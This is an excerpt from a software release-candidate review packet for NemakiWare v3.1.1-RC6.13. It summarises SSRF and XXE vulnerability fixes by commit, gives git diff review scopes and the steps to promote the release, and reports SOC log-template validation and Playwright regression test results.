AdapterHttpClient horizontal SSRF (NAT64 / 6to4 / Teredo / IPv4-compatible / IPv4 special-use) — same vector classes as RC6.5+RC6.6 but reachable via the 11 connector adapters + ConnectorDefinitionServiceImpl + IngestWebhookController.
SHARED HttpClient auto-follow redirect anti-pattern (now Redirect.NEVER); relative Location resolution against original URI in sendWithRedirectValidation.
HttpWebhookDispatcherTest literal NUL byte (binary file classification → text).

Resolved in RC6.6 (carry-forward, still closed):

5 IPv4 special-use bypass surfaces in HttpWebhookDispatcher.
64:ff9b:1::/48 RFC 6052 §2.2 /48 layout.
Teredo 2001::/32 unwrap.

Resolved in RC6.5 (carry-forward, still closed):

GHSA SSRF via IPv6 transition wrap reported by tonghuaroot.
3 rounds of external review on MANUAL-VERIFICATION-CONNECTORS.md.

Resolved in RC6.4 (carry-forward, still closed):

Vector VRL / Fluent Bit DST / Filebeat config / Loki ruler live validation gaps — addressed by scripts/validate-soc-templates.sh.
RC5.6 baseline diff — Epic 2 (§10.2).
Recurring "template body bug surfaces only at external review" pattern — Epic 1 (§10.1) validator gate.

Resolved during RC5 → RC6.13 cycle: all listed in RELEASE_NOTES.md per-section.

7. Promotion path (operational)

v3.1.1-RC6.13 is and remains a release candidate. GA path:

External review concludes with approval.
Merge release/3.1.1-RC6 into master. The security fix commits MUST land on master before any public 3.1.1 release because both GHSA advisories (RC6.5 SSRF + RC6.11 XXE) track master as the affected branch:
- 94d3355a4 — RC6.5: primary GHSA-reported HttpWebhookDispatcher fix
- ce2abf646 — RC6.6: follow-on HttpWebhookDispatcher hardening
- 12994c342 — RC6.7: horizontal AdapterHttpClient fix
- 892ccfdd9 — RC6.8: deeper AdapterHttpClient closure (DNS rebinding pin + runtime revalidation + multi-hop redirect)
- e45d172bb — RC6.9: HTTP Host header preservation + Javadoc honesty + JVM property wiring
- 03be615ee — RC6.10: SsrfGuard extraction (refactor only, no new SSRF behaviour; consolidates the helpers ready for future consumers)
- 282d2aa49 — RC6.11: ACP import XXE fix (the second tonghuaroot GHSA closure)
- 5f13120e2 — RC6.12: test-quality refactor (production path byte-equivalent to RC6.11 XXE fix; rebinds cases 1-3 to production)
- 1d833727c — RC6.13: extracts configureHardenedSaxReader() so feature readback binds to production; production path byte-equivalent to RC6.12
Cut a new annotated tag v3.1.1 against the merge commit on master.
Optionally create a single GitHub Release attached to v3.1.1.
The RC tags (v3.1.1-RC5, …-RC5.1, …, …-RC6.13) stay as internal milestones.
Reply on both GHSA advisories:
- SSRF advisory (RC6.5 original report): link the 5 follow-on commits (RC6.5 → RC6.9) + the RC6.10 SsrfGuard refactor.
- XXE advisory (RC6.11 original report): link the RC6.11 fix commit + the repo-wide audit table (§2.E) so the reporter sees that the codebase's other XML-parser sinks were checked and found already-hardened. Mention the RC6.12 + RC6.13 test-quality refactors and the 3-way mutation-test evidence at §2.A.

8. Re-send delta summary (what reviewers should focus on)

If you reviewed RC6.12 already, the smallest possible review for RC6.13 is:

git diff v3.1.1-RC6.12..v3.1.1-RC6.13

Focused set (test-quality follow-up — production path byte-equivalent):

core/src/main/java/jp/aegif/nemaki/rest/importexport/ZipImporter.java — split RC6.12's parseAcpPackageXml(byte[]) into two package-private static methods: configureHardenedSaxReader() (builds the configured reader)
- parseAcpPackageXml(byte[]) (calls the builder, then .read). No behaviour change on the production path — same SAXReader instance with the same three setFeature calls in the same order, returned to the same call site.
core/src/test/java/jp/aegif/nemaki/rest/importexport/ZipImporterXxeTest.java — productionParserHasAllThreeFeaturesEnabled rewritten to hold the actual production-configured reader via ZipImporter.configureHardenedSaxReader(). Test-local probe block deleted. Cases 1-3 unchanged.
REVIEW_PACKET.md, RELEASE_NOTES.md, CLAUDE.md (RC6.13 section).

Security-focused reviewers can scope to the ZipImporter.java diff (refactor only — no behaviour change on the production path) + the 3-way mutation-test table in §2.A (verified that removing any one of the three setFeature lines in isolation fails the matching readback assertion with a diagnostic naming that specific feature). The RC6.11 GHSA XXE fix is documented in §2.E as carry-forward.

If you reviewed RC6.11 already, the RC6.11→RC6.12 delta is also worth a quick glance:

git diff v3.1.1-RC6.11..v3.1.1-RC6.12

Focused set (RC6.12 test-quality refactor — production path byte-equivalent):

core/src/main/java/jp/aegif/nemaki/rest/importexport/ZipImporter.java — parseAcpPackageXml(byte[]) extracted as a package-private static helper (the three setFeature calls + reader.read). importAcpFormat(...) now calls it. (RC6.13 has since split this into configureHardenedSaxReader() + parseAcpPackageXml(byte[]) — see RC6.13 focused set above.)
core/src/test/java/jp/aegif/nemaki/rest/importexport/ZipImporterXxeTest.java — four cases rewritten to call ZipImporter.parseAcpPackageXml(...) directly. Test-local hardenedReader() deleted.

If you reviewed RC6.10 already, the RC6.10→RC6.11 delta is also worth a quick glance (the actual security hotfix):

git diff v3.1.1-RC6.10..v3.1.1-RC6.11

Focused set (security hotfix — single sink, mirrors existing hardened pattern in same package):

core/src/main/java/jp/aegif/nemaki/rest/importexport/ZipImporter.java (+11 lines) — the only behaviour change in that RC. Three setFeature calls added to the SAXReader inside importAcpFormat(...) before reader.read(...). Byte-for-byte the same configuration block used by TypeResource.parse(...) since RC13.
NEW core/src/test/java/jp/aegif/nemaki/rest/importexport/ZipImporterXxeTest.java (~140 lines, 4 cases) — JVM-level regression that pins the SAXReader configuration. Doesn't go through Tomcat / Jersey. (RC6.12 + RC6.13 have since restructured this to call the production helper directly — see the RC6.13 focused set above for the current shape.)
REVIEW_PACKET.md, RELEASE_NOTES.md, CLAUDE.md (RC6.11 section).

The audit table in §2.E documents every other XML parser sink in the codebase and shows each is already hardened. The full live PoC sequence is documented in §2.E "Live PoC reproduction

post-fix verification".

If you reviewed RC6.9 already, the older RC6.10 delta is also worth a quick glance:

git diff v3.1.1-RC6.9..v3.1.1-RC6.10

Focused set (RC6.10 refactor + tooling — no new SSRF closure):

NEW core/src/main/java/jp/aegif/nemaki/security/SsrfGuard.java (~263 lines, new file, new package) — the extracted classifier. Read:
- public static boolean isAddressSafe(InetAddress) — classification rules byte-for-byte from the two prior dispatcher copies (JDK predicates + 9 IPv4 special-use ranges + IPv6 ULA + 6 transition formats unwrap-and-recurse).
- public static InetAddress extractEmbeddedIpv4(InetAddress) — the 6 transition-format extractor, byte-for-byte from the prior dispatcher copies.
core/src/main/java/jp/aegif/nemaki/webhook/HttpWebhookDispatcher.java — −240 LOC duplicate classifier removed. The remaining 2-arg wrapper isAddressSafe(InetAddress, String) delegates to SsrfGuard.isAddressSafe and re-runs cheap top-level predicates locally only to produce categorized operator log lines (loopback / link-local / etc.). Behaviour unchanged.
core/src/main/java/jp/aegif/nemaki/rest/ingest/AdapterHttpClient.java — −110 LOC duplicate classifier removed (full isAddressSafe + extractEmbeddedIpv4 methods deleted). The remaining 1-arg isAddressSafe(InetAddress) is a 3-LOC delegator preserved so pinRequestToValidatedAddress and validateExternalUrl call sites stay byte-equivalent. RC6.9 Host-header preservation + static {} initializer + Javadoc are unchanged.
NEW core/src/test/java/jp/aegif/nemaki/security/SsrfGuardTest.java (~220 lines, 30 cases) — direct unit test pinning the extracted helper.
core/src/test/java/jp/aegif/nemaki/webhook/HttpWebhookDispatcherTest.java — testExtractEmbeddedIpv4PublicPassthrough updated to call SsrfGuard.extractEmbeddedIpv4 directly (public static) instead of reflecting on the now-removed private dispatcher method.
scripts/validate-soc-templates.sh — new Phase 1.4.1 source-tree NUL byte scan (~60 LOC). Runs Python walker over .java/.ts/.tsx/.js/.jsx, excludes node_modules/target/dist/build/.git/coverage/ playwright-report/test-results. 1680 files scanned / 0 hits at HEAD.
docker/docker-compose-simple.yml, docker/docker-compose-ldap.yml, docker/docker-compose-auth-test.yml (1 line each, identical patch). Not new RC6.10 work — these are the post-RC6.9 commit 84fdfca80 (the compose-runtime half of the RC6.9 P3 Host header fix; see §2.5.1) being carried into the RC6.10 tag content. No classifier change, no SSRF behaviour change. Reviewers will see these files in git diff v3.1.1-RC6.9..v3.1.1-RC6.10 but the delta is purely the RC6.9 JVM property -Djdk.httpclient.allowRestrictedHeaders=host being appended to the compose CATALINA_OPTS environment: overrides so the Dockerfile ENV CATALINA_OPTS value (which compose masks at container-start time) is no longer the sole carrier.
REVIEW_PACKET.md, RELEASE_NOTES.md, CLAUDE.md (RC6.10 section).

Security-focused reviewers can scope to SsrfGuard.java (the extracted source of truth) + the two delegation call sites in HttpWebhookDispatcher and AdapterHttpClient (~30 LOC each after subtraction). The compose-file delta is the RC6.9 post-tag follow-on already-reviewed material. The behavioural delta vs RC6.9 is zero by construction.

If you are reviewing RC5+RC6 cold for the first time, use the cumulative diff (since v3.1.1-RC4.1) in §1.

10. RC6.4: SOC template validation gate + Playwright baseline diff (full detail)

This section documents the two RC6.4 quality-improvement epics in detail. §2 above is the executive summary; this section is the per-bug and per-test record. Both epics are fully shipped in the v3.1.1-RC6.4 tag.

10.1 Epic 1: SOC template validation gate (`scripts/validate-soc-templates.sh`)

The RC6 → RC6.3 cycle shipped a template-body bug in every cycle (Filebeat env syntax, VRL ?? on infallible path, Fluent Bit DST handling) — each caught only at external review, never at build time. RC6.4 introduces a CLI validator that runs the actual vendor tool for 4 of 6 templates inside their official Docker images:

Template	RC6.4 automated check	Status
`vector-nemakiware.toml`	`vector validate --skip-healthchecks`	✅ PASS
`fluent-bit-nemakiware.conf`	`fluent-bit -c … --dry-run` (full INI parse + Lua load + plugin instantiation)	✅ PASS
`filebeat-nemakiware.yml`	`filebeat test config` (Beats parser + JS processor compile)	✅ PASS
`loki-ruler-rules.yml`	`cortextool rules check --backend=loki` (with Python `envsubst` for `${VAR:-default}`)	✅ PASS
`kibana-detection-rules.ndjson`	JSON parse per line (no offline CLI exists; Detection Engine ships only with a running Elastic cluster)	Operator gate
`splunk-savedsearches.conf`	grep for known-bad patterns (Splunk `btool` requires Splunk install)	Operator gate

Phase 1 (python3 only): JSON / YAML / TOML parse, NUL-byte smoke, file-type smoke, placeholder enumeration. Always runs. Phase 2 (VALIDATE_DOCKER=1): the 4 vendor CLIs above. Phase 3 (WRITE_VALIDATION_MD=1): emits docs/soc-templates/VALIDATION.md capturing the last automated run state.

5 real template bugs caught during RC6.4 bring-up that prior syntax-spec-confidence approaches had missed:

Vector header comment containing ${...} was interpolated as an env-var name (Vector substitutes inside comments).
Fluent Bit Code | heredoc was rejected by the classic INI parser with "extra indentation level found" — fixed by externalising the Lua to fluent-bit-nemakiware-time-enrichment.lua.
VRL ?? on the infallible field path ."@timestamp" triggered "unnecessary error coalescing operation" → switched to a conditional assignment.
Vector buffer.max_size = 268435456 (exactly 256 MiB) was below the required >= 268435488 minimum → bumped to 536870912 (512 MiB).
LogQL offset 1h placed AFTER the wrapping count_over_time(...) rather than INSIDE the range-vector selector [7d] offset 1h.

Commit: 1ba21bc59 (feat(rc6.4): SOC template validation gate + 5 real-bug fixes caught at bring-up).

10.2 Epic 2: full Playwright baseline diff — RC5.6 vs RC6 HEAD

To prove RC6 shipped zero behavioural regressions vs the prior RC5 cycle, the full chromium Playwright suite (1032 tests) was run twice against the same NemakiWare deployment, swapping only the WAR:

Build	Tag / commit	WAR SHA-256
RC5.6	`v3.1.1-RC5.6` = `adf8db3b4`	`749dedd883c8146516d4f618859db2b8c317f9f972939e432cf4a7989feb592e`
RC6 HEAD	`release/3.1.1-RC6` HEAD = `1ba21bc59` (= RC6.3 server behaviour, since Epic 1 was doc/script only)	`9df81beb10e8f3309534e8d830c734fb9485a3bc32d38c36a52cf54e5af56328`

Aggregate:

Stat	RC5.6	RC6 HEAD	Δ
Passed	673	679	+6
Failed	162	156	−6
Flaky	2	2	0
Skipped	195	195	0
Total	1032	1032	—
Duration	77 min	76 min	−1 min

Per-test classification (per the user's RC6.4 spec):

Class	Count	Notes
RC6 regression (RC5.6 ✓ → RC6 ✗)	0	1 candidate found → reclassified as flaky (see below)
Improved by RC6 (RC5.6 ✗ → RC6 ✓)	6	All new RC6 features now exercised — `/v1/admin/connectors/by-group` + `simulate-remove` count cap
Pre-existing (✗ in both)	155	Long-running Playwright stabilization backlog; not introduced by RC6
Persistent pass (✓ in both)	672	Core production behaviour stable across the entire RC5→RC6 cycle
Environment / flaky	1	`group-management-crud.spec.ts:315 › should add member to group` — Ant `Select` dropdown viewport positioning
Skipped (`test.skip`)	192	Explicit annotations, expected per memory `test-skip-triage`

The single candidate regression:

admin/group-management-crud.spec.ts:315
  Error: locator.click: Element is outside of the viewport
  - waiting for locator('.ant-select-item:has-text("testuser")').first()
  - locator resolved to <div ... title="api-e2e-testuser (...)" class="ant-select-item ant-select-item-option ant-select-item-option-active">
  - attempting click action
  - scrolling into view if needed
  - done scrolling

Classification: environmental / flaky, not a real RC6 regression.

Evidence:

The locator resolved (dropdown rendered, target item present, scroll ran) before the click was rejected — classic Playwright flake pattern for virtualised Ant Select lists.
git log v3.1.1-RC5.6..1ba21bc59 -- '**/group-*' shows only the new connector-governance-by-group.spec.ts test file added; no GroupResource / GroupManagement* source touched between the two builds.
The test depends on transient state (which users exist in the CouchDB at the moment the dropdown opens), and the two ~75-minute runs accumulated different transient state.

Recommended action: do not block RC6 on this. Track under the existing test-skip triage backlog (memory test-skip-triage) with "viewport-flake" subcategory; re-run in isolation to confirm, then either pin the test's viewport or scroll the Select panel programmatically before the click.

Improvements (RC5.6 ✗ → RC6 ✓) — all genuine RC6 functionality:

Spec	Why it passes only on RC6
`admin/connector-governance-by-group.spec.ts:15` `:34` `:46` `:55` `:63`	RC6 added `/v1/admin/connectors/by-group` (RC5 only had `/by-principal`)
`admin/connector-governance-simulate-button.spec.ts:146`	RC6.1 P2 added the explicit `removePrincipalIds > MAX` 400-response cap

Persistent failures (155) are evenly distributed across ~85 spec files (each file:line entry appears exactly once — no clusters). Top file groups: components/layout-navigation (14), search/custom-property-search (14), components/protected-route (12), user-scenarios (10), documents/type-specification (9), documents/property-editor (9). These are the existing backlog already tracked under memory project_test_skip_triage (Playwright 421件のtest.skip分類と改善方針).

Conclusion: RC6 ships zero regressions and 6 net test additions in the green. The persistent backlog is unchanged.
